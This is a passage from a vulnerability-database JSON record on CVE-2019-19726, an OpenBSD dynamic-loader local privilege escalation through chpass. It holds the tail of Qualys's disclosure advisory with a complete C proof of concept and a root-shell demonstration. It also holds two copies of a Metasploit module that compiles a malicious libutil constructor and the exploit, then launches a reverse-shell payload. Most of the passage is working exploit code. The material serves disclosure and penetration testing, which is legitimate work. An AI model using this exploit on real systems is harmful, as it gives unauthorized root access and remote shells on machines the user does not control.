maximum size (in bytes) of the data segment for a\n process; this includes memory allocated via malloc(3) and\n all other anonymous memory mapped via mmap(2).\n\n------------------------------------------------------------------------------\n\n2/ Before the main() function of chpass is executed, the _dl_boot()\nfunction of ld.so is executed and calls _dl_setup_env():\n\n262 void\n263 _dl_setup_env(const char *argv0, char **envp)\n264 {\n...\n271 _dl_libpath = _dl_split_path(_dl_getenv(\"LD_LIBRARY_PATH\", envp));\n...\n283 _dl_trust = !_dl_issetugid();\n284 if (!_dl_trust) { /* Zap paths if s[ug]id... */\n285 if (_dl_libpath) {\n286 _dl_free_path(_dl_libpath);\n287 _dl_libpath = NULL;\n288 _dl_unsetenv(\"LD_LIBRARY_PATH\", envp);\n289 }\n\n------------------------------------------------------------------------------\n\n3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH\nenvironment variable and passes it to _dl_split_path():\n\n 23 char **\n 24 _dl_split_path(const char *searchpath)\n 25 {\n ..\n 35 pp = searchpath;\n 36 while (*pp) {\n 37 if (*pp == ':' || *pp == ';')\n 38 count++;\n 39 pp++;\n 40 }\n ..\n 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));\n 46 if (retval == NULL)\n 47 return (NULL);\n\n------------------------------------------------------------------------------\n\n4/ At line 45, count is approximately ARG_MAX (the number of colons in\nour LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our\nlow RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.\n\n------------------------------------------------------------------------------\n\n5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH\nis ignored, but it is not deleted from the environment (CVE-2019-19726):\nalthough _dl_trust is false (_dl_issetugid() returns true because chpass\nis set-user-ID), _dl_unsetenv() is not called (line 288) because\n_dl_libpath is NULL (line 285).\n\n------------------------------------------------------------------------------\n\n6/ Next, the main() function of chpass is executed, and it:\n\n 6a/ calls setuid(0), which sets the real and effective user IDs to 0;\n\n 6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;\n\n 6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb\n (unlike execve(), execv() does not reset the environment).\n\n------------------------------------------------------------------------------\n\n7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()\nfunction of ld.so is executed and calls _dl_setup_env():\n\n 7a/ at line 271, _dl_getenv() returns a pointer to our\n LD_LIBRARY_PATH environment variable (because it was not deleted from\n the environment in step 5, and because execv() did not reset the\n environment in step 6c);\n\n 7b/ at line 45, _dl_reallocarray() does not return NULL anymore\n (because our low RLIMIT_DATA was reset in step 6b);\n\n 7c/ as a result, _dl_libpath is not NULL (line 271), and it is not\n reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()\n returns false because pwd_mkdb is not set-user-ID, and because the\n real and effective user IDs were both set to 0 in step 6a): our\n LD_LIBRARY_PATH is not ignored anymore.\n\n------------------------------------------------------------------------------\n\n8/ Finally, ld.so searches for shared libraries in _dl_libpath (our\nLD_LIBRARY_PATH) and loads our own library from the current working\ndirectory (the dot in our LD_LIBRARY_PATH).\n\n------------------------------------------------------------------------------\n\n\n==============================================================================\nDemonstration\n==============================================================================\n\nIn this section, we demonstrate the use of our proof of concept:\n\n------------------------------------------------------------------------------\n\n$ id\nuid=32767(nobody) gid=32767(nobody) groups=32767(nobody)\n\n$ cd /tmp\n\n$ cat > lib.c << \"EOF\"\n#include <paths.h>\n#include <unistd.h>\n\nstatic void __attribute__ ((constructor)) _init (void) {\n if (setuid(0) != 0) _exit(__LINE__);\n if (setgid(0) != 0) _exit(__LINE__);\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\n execve(argv[0], argv, NULL);\n _exit(__LINE__);\n}\nEOF\n\n$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED\n 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]\n 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]\n\n$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c\n\n$ cat > poc.c << \"EOF\"\n#include <string.h>\n#include <sys/param.h>\n#include <sys/resource.h>\n#include <unistd.h>\n\nint\nmain(int argc, char * const * argv)\n{\n #define LLP \"LD_LIBRARY_PATH=.\"\n static char llp[ARG_MAX - 128];\n memset(llp, ':', sizeof(llp)-1);\n memcpy(llp, LLP, sizeof(LLP)-1);\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\n\n #define DATA (ARG_MAX * sizeof(char *))\n const struct rlimit data = { DATA, DATA };\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\n\n if (argc <= 1) _exit(__LINE__);\n argv += 1;\n execve(argv[0], argv, envp);\n _exit(__LINE__);\n}\nEOF\n\n$ gcc -s -o poc poc.c\n\n$ ./poc /usr/bin/chpass\n\n# id\nuid=0(root) gid=0(wheel) groups=32767(nobody)\n\n------------------------------------------------------------------------------\n\n\n==============================================================================\nAcknowledgments\n==============================================================================\n\nWe thank Theo de Raadt and the OpenBSD developers for their incredibly\nquick response: they published a patch for this vulnerability in less\nthan 3 hours. We also thank MITRE's CVE Assignment Team.\n\n\n\n[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>\n\n\n\nThis message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (\u201cspam\u201d). If you have any concerns about this process, please contact us.", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2020-10-14T18:29:53", "description": "This module exploits a vulnerability in the OpenBSD `ld.so` dynamic loader (CVE-2019-19726). The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` environment variable when set with approximately `ARG_MAX` colons. This can be abused to load `libutil.so` from an untrusted path, using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid executable, resulting in privileged code execution. This module has been tested successfully on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64)\n", "published": "2019-12-22T08:46:43", "type": "metasploit", "title": "OpenBSD Dynamic Loader chpass Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2020-07-12T00:47:56", "id": "MSF:EXPLOIT/OPENBSD/LOCAL/DYNAMIC_LOADER_CHPASS_PRIVESC", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Post::Unix\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',\n 'Description' => %q{\n This module exploits a vulnerability in the OpenBSD `ld.so`\n dynamic loader (CVE-2019-19726).\n\n The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`\n environment variable when set with approximately `ARG_MAX` colons.\n\n This can be abused to load `libutil.so` from an untrusted path,\n using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid\n executable, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n OpenBSD 6.1 (amd64); and\n OpenBSD 6.6 (amd64)\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Qualys', # Discovery and exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2019-12-11',\n 'Platform' => %w[bsd unix], # OpenBSD\n 'Arch' => [ARCH_CMD],\n 'SessionTypes' => ['shell'],\n 'References' =>\n [\n ['CVE', '2019-19726'],\n ['EDB', '47780'],\n ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],\n ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],\n ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],\n ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],\n ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']\n ],\n 'Targets' => [['Automatic', {}]],\n 'DefaultOptions' =>\n {\n 'PAYLOAD' => 'cmd/unix/reverse',\n 'WfsDelay' => 10\n },\n 'DefaultTarget' => 0))\n register_options [\n OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])\n ]\n register_advanced_options [\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\n ]\n end\n\n def base_dir\n datastore['WritableDir'].to_s\n end\n\n def chpass_path\n datastore['CHPASS_PATH']\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n register_file_for_cleanup path\n end\n\n def libutil_name\n return unless command_exists? 'readelf'\n cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\\[(libutil\\.so\\.[\\d\\.]+)\\]/).flatten.first\n end\n\n def check\n patches = cmd_exec('syspatch -l').to_s\n patch = '013_ldso'\n if patches.include? patch\n vprint_error \"Patch #{patch} has been installed. Target is not vulnerable.\"\n return CheckCode::Safe\n end\n vprint_good \"Patch #{patch} is not present\"\n\n unless command_exists? 'cc'\n vprint_error 'cc is not installed'\n return CheckCode::Safe\n end\n print_good 'cc is installed'\n\n CheckCode::Detected\n end\n\n def exploit\n unless check == CheckCode::Detected\n unless datastore['ForceExploit']\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\n end\n print_warning 'Target does not appear to be vulnerable'\n end\n\n if is_root?\n unless datastore['ForceExploit']\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\n end\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9\n lib_data = <<-EOF\n#include <paths.h>\n#include <unistd.h>\n\nstatic void __attribute__ ((constructor)) _init (void) {\n if (setuid(0) != 0) _exit(__LINE__);\n if (setgid(0) != 0) _exit(__LINE__);\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\n execve(argv[0], argv, NULL);\n _exit(__LINE__);\n}\nEOF\n\n libs = []\n lib = libutil_name\n if lib\n libs << lib\n print_good \"Found libutil.so name: #{lib}\"\n else\n libs << 'libutil.so.12.1'\n libs << 'libutil.so.13.1'\n print_warning \"Could not determine libutil.so name. Using: #{libs.join(', ')}\"\n end\n\n lib_src_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}.c\"\n upload lib_src_path, lib_data\n libs.each do |lib_name|\n lib_path = \"#{base_dir}/#{lib_name}\"\n print_status \"Compiling #{lib_path} ...\"\n output = cmd_exec \"cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall\"\n register_file_for_cleanup lib_path\n\n unless output.blank?\n print_error output\n fail_with Failure::Unknown, \"#{lib_path}.c failed to compile\"\n end\n end\n\n # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9\n exploit_data = <<-EOF\n#include <string.h>\n#include <sys/param.h>\n#include <sys/resource.h>\n#include <unistd.h>\n\nint\nmain(int argc, char * const * argv)\n{\n #define LLP \"LD_LIBRARY_PATH=.\"\n static char llp[ARG_MAX - 128];\n memset(llp, ':', sizeof(llp)-1);\n memcpy(llp, LLP, sizeof(LLP)-1);\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\n\n #define DATA (ARG_MAX * sizeof(char *))\n const struct rlimit data = { DATA, DATA };\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\n\n if (argc <= 1) _exit(__LINE__);\n argv += 1;\n execve(argv[0], argv, envp);\n _exit(__LINE__);\n}\nEOF\n\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\n upload \"#{exploit_path}.c\", exploit_data\n print_status \"Compiling #{exploit_path} ...\"\n output = cmd_exec \"cc -s #{exploit_path}.c -o #{exploit_path} -Wall\"\n register_file_for_cleanup exploit_path\n\n unless output.blank?\n print_error output\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\n end\n\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\n upload payload_path, \"#!/bin/sh\\n#{payload.encoded}\\n\"\n chmod payload_path\n\n print_status 'Launching exploit...'\n output = cmd_exec(\"cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}\")\n output.each_line { |line| vprint_status line.chomp }\n end\nend\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb"}, {"lastseen": "2021-02-24T02:37:23", "description": "This module exploits a vulnerability in the OpenBSD `ld.so` dynamic loader (CVE-2019-19726). The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` environment variable when set with approximately `ARG_MAX` colons. This can be abused to load `libutil.so` from an untrusted path, using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid executable, resulting in privileged code execution. This module has been tested successfully on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64)\n", "published": "2019-12-22T08:46:43", "type": "metasploit", "title": "OpenBSD Dynamic Loader chpass Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2021-02-02T10:15:46", "id": "MSF:EXPLOIT/OPENBSD/LOCAL/DYNAMIC_LOADER_CHPASS_PRIVESC/", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Post::Unix\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',\n 'Description' => %q{\n This module exploits a vulnerability in the OpenBSD `ld.so`\n dynamic loader (CVE-2019-19726).\n\n The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`\n environment variable when set with approximately `ARG_MAX` colons.\n\n This can be abused to load `libutil.so` from an untrusted path,\n using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid\n executable, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n OpenBSD 6.1 (amd64); and\n OpenBSD 6.6 (amd64)\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Qualys', # Discovery and exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2019-12-11',\n 'Platform' => %w[bsd unix], # OpenBSD\n 'Arch' => [ARCH_CMD],\n 'SessionTypes' => ['shell'],\n 'References' =>\n [\n ['CVE', '2019-19726'],\n ['EDB', '47780'],\n ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],\n ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],\n ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],\n ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],\n ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']\n ],\n 'Targets' => [['Automatic', {}]],\n 'DefaultOptions' =>\n {\n 'PAYLOAD' => 'cmd/unix/reverse',\n 'WfsDelay' => 10\n },\n 'DefaultTarget' => 0))\n register_options [\n OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])\n ]\n register_advanced_options [\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\n ]\n end\n\n def base_dir\n datastore['WritableDir'].to_s\n end\n\n def chpass_path\n datastore['CHPASS_PATH']\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n register_file_for_cleanup path\n end\n\n def libutil_name\n return unless command_exists? 'readelf'\n cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\\[(libutil\\.so\\.[\\d\\.]+)\\]/).flatten.first\n end\n\n def check\n patches = cmd_exec('syspatch -l').to_s\n patch = '013_ldso'\n if patches.include? patch\n vprint_error \"Patch #{patch} has been installed. Target is not vulnerable.\"\n return CheckCode::Safe\n end\n vprint_good \"Patch #{patch} is not present\"\n\n unless command_exists? 'cc'\n vprint_error 'cc is not installed'\n return CheckCode::Safe\n end\n print_good 'cc is installed'\n\n CheckCode::Detected\n end\n\n def exploit\n if is_root?\n unless datastore['ForceExploit']\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\n end\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9\n lib_data = <<-EOF\n#include <paths.h>\n#include <unistd.h>\n\nstatic void __attribute__ ((constructor)) _init (void) {\n if (setuid(0) != 0) _exit(__LINE__);\n if (setgid(0) != 0) _exit(__LINE__);\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\n execve(argv[0], argv, NULL);\n _exit(__LINE__);\n}\nEOF\n\n libs = []\n lib = libutil_name\n if lib\n libs << lib\n print_good \"Found libutil.so name: #{lib}\"\n else\n libs << 'libutil.so.12.1'\n libs << 'libutil.so.13.1'\n print_warning \"Could not determine libutil.so name. Using: #{libs.join(', ')}\"\n end\n\n lib_src_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}.c\"\n upload lib_src_path, lib_data\n libs.each do |lib_name|\n lib_path = \"#{base_dir}/#{lib_name}\"\n print_status \"Compiling #{lib_path} ...\"\n output = cmd_exec \"cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall\"\n register_file_for_cleanup lib_path\n\n unless output.blank?\n print_error output\n fail_with Failure::Unknown, \"#{lib_path}.c failed to compile\"\n end\n end\n\n # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9\n exploit_data = <<-EOF\n#include <string.h>\n#include <sys/param.h>\n#include <sys/resource.h>\n#include <unistd.h>\n\nint\nmain(int argc, char * const * argv)\n{\n #define LLP \"LD_LIBRARY_PATH=.\"\n static char llp[ARG_MAX - 128];\n memset(llp, ':', sizeof(llp)-1);\n memcpy(llp, LLP, sizeof(LLP)-1);\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\n\n #define DATA (ARG_MAX * sizeof(char *))\n const struct rlimit data = { DATA, DATA };\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\n\n if (argc <= 1) _exit(__LINE__);\n argv += 1;\n execve(argv[0], argv, envp);\n _exit(__LINE__);\n}\nEOF\n\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\n upload \"#{exploit_path}.c\", exploit_data\n print_status \"Compiling #{exploit_path} ...\"\n output = cmd_exec \"cc -s #{exploit_path}.c -o #{exploit_path} -Wall\"\n register_file_for_cleanup exploit_path\n\n unless output.blank?\n print_error output\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\n end\n\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\n upload payload_path, \"#!/bin/sh\\n#{payload.encoded}\\n\"\n chmod payload_path\n\n print_status 'Launching exploit...'\n output = cmd_exec(\"cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}\")\n output.each_line { |line| vprint_status line.chomp }\n end\nend\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb"}]}